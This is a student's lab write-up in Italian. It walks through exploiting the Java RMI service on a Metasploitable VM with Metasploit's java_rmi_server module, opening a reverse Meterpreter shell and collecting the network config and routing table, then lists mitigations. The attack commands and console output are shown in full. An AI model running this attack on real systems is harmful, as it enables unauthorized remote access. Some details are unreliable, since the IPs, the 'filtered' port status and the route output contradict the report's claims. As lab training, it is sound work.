

# S7L5

## PROGETTO

---

### Esercizio:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
  - 1) configurazione di rete.
  - 2) informazioni sulla tabella di routing della macchina vittima.



---

## Informazioni preliminari:

**-Obiettivo:** Ottenere una sessione Meterpreter sulla macchina vittima sfruttando una vulnerabilità del servizio Java RMI sulla porta 1099.

**-Macchina attaccante (KALI):** 192.168.50.10

**-Macchina vittima (Metasploitable):** 192.168.50.3

**-Servizio target:** Java RMI

**-Porta target:** 1099/tcp

## Fase di scansione:

Prima di attaccare, verifichiamo che la porta sia aperta con il seguente comando:

```
nmap -sV -p 1099 192.168.50.3
```

Lanciamo una scansione Nmap con l'opzione **-sV** (per determinare la versione del servizio) e **-p 1099** (per analizzare solo la porta specificata) contro l'IP della vittima.

```
(kali㉿kali)-[~]
$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 09:13 EST
Nmap scan report for 192.168.11.112
Host is up (0.00031s latency).

PORT      STATE     SERVICE      VERSION
1099/tcp  filtered  rmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds

(kali㉿kali)-[~]
$
```

L'output conferma che la porta 1099 è aperta e in ascolto, identificando il servizio come **java-rmi**.

---

## Fase di exploitation:

Questa è la fase centrale in cui usiamo Metasploit per lanciare l'attacco:

### msfconsole

Cerchiamo l'exploit per Java RMI, usando il comando:

### java\_rmi\_server

```
msf search java_rmi_server
Matching Modules
=====
#  Name                                     Disclosure Date   Rank    Check  Description
--  --
0  exploit/multi/misc/java_rmi_server      2011-10-15     excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
1  \_ target: Generic (Java Payload)       .
2  \_ target: Windows x86 (Native Payload) .
3  \_ target: Linux x86 (Native Payload)   .
4  \_ target: Mac OS X PPC (Native Payload) .
5  \_ target: Mac OS X x86 (Native Payload) .
6  auxiliary/scanner/misc/java_rmi_server  2011-10-15     normal   No     Java RMI Server Insecure Endpoint Code Execution Scanner

Interact with a module by name or index. For example info 6, use 6 or use auxiliary/scanner/misc/java_rmi_server

msf > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) >
```

Una volta inserito l'exploit settiamo le varie opzioni: RHOSTS, LHOST, PAYLOAD e in seguito lanciamo l'attacco.

```
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.50.3
RHOSTS => 192.168.50.3
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.50.10
LHOST => 192.168.50.10
msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.50.10:4444
[*] 192.168.50.3:1099 - Using URL: http://192.168.50.10:8080/1ffn7KjPHcEMChn
[*] 192.168.50.3:1099 - Server started.
[*] 192.168.50.3:1099 - Sending RMI Header ...
[*] 192.168.50.3:1099 - Sending RMI Call ...
[*] 192.168.50.3:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.50.3
[*] Meterpreter session 1 opened (192.168.50.10:4444 -> 192.168.50.3:57858) at 2025-11-07 09:34:43 -0500

meterpreter >
```

L'exploit viene eseguito con successo con il framework che ci notifica l'apertura di una sessione Meterpreter, il prompt del terminale cambia in **meterpreter >**.

---

## Fase di post exploitation:

Ora che abbiamo accesso possiamo ottenere la configurazione di rete della macchina vittima:

### ifconfig

Questo comando mostra tutte le interfacce di rete e la loro configurazione (indirizzo IP, netmask, etc.) sulla macchina vittima.

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.3
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe04:3fe1
IPv6 Netmask : ::
```

Il seguente comando stampa la tabella di routing IP del kernel della macchina vittima, mostrando le rotte di rete conosciute:

### route

```
meterpreter > route  
IPv4 network routes  
=====  
Subnet           Netmask         Gateway   Metric  Interface  
=====          ======         =====     =====  ======  =====  
127.0.0.1       255.0.0.0      0.0.0.0  
192.168.50.3    255.255.255.0  0.0.0.0  
  
IPv6 network routes  
=====  
Subnet           Netmask         Gateway   Metric  Interface  
=====          ======         =====     =====  ======  =====  
:: 1             ::            ::        ::  
fe80 :: a00:27ff:fe04:3fe1  ::        ::  
meterpreter > █
```

## Conclusioni:

Attraverso una fase iniziale di enumerazione tramite **nmap**, è stato confermato che la porta **1099/tcp** era aperta e in ascolto, esponendo un servizio **Java RMI**.

Successivamente, utilizzando il Metasploit Framework, è stato configurato e lanciato l'exploit **exploit/multi/misc/java\_rmi\_server**.

Questo modulo ha sfruttato con successo la vulnerabilità di deserializzazione presente nel servizio RMI, permettendo l'esecuzione di codice arbitrario da remoto.

L'esecuzione dell'exploit ha portato alla creazione di una sessione Meterpreter inversa, stabilendo una shell remota con privilegi elevati sulla macchina target.

Dalla sessione Meterpreter attiva, è stato possibile eseguire comandi di post-sfruttamento per raccogliere le evidenze richieste:

-Il comando **ifconfig** ha rivelato l'intera configurazione delle interfacce di rete della macchina vittima, confermando il suo indirizzo IP e la sua configurazione di sottorete.

---

-Il comando **route** ha permesso di ispezionare la tabella di routing del sistema, fornendo visibilità sulle rotte di rete e sul gateway predefinito.

Questo esercizio dimostra in modo pratico come un servizio obsoleto o non correttamente configurato, quale un'implementazione vulnerabile di Java RMI, possa rappresentare un punto di ingresso critico per un attaccante.

Il successo dell'exploit ha concesso un accesso completo alla macchina, da cui un malintenzionato potrebbe muoversi lateralmente all'interno della rete, esfiltrare dati sensibili o installare backdoor persistenti.

In uno scenario reale, le misure di mitigazione immediate includerebbero:

**-Restrizione dell'Accesso:** Applicare regole firewall per limitare l'accesso alla porta 1099 solo da host autorizzati.

**-Aggiornamento:** Aggiornare l'implementazione Java a una versione non vulnerabile.

**-Disattivazione:** Disabilitare il servizio RMI se non strettamente necessario per le funzionalità di business.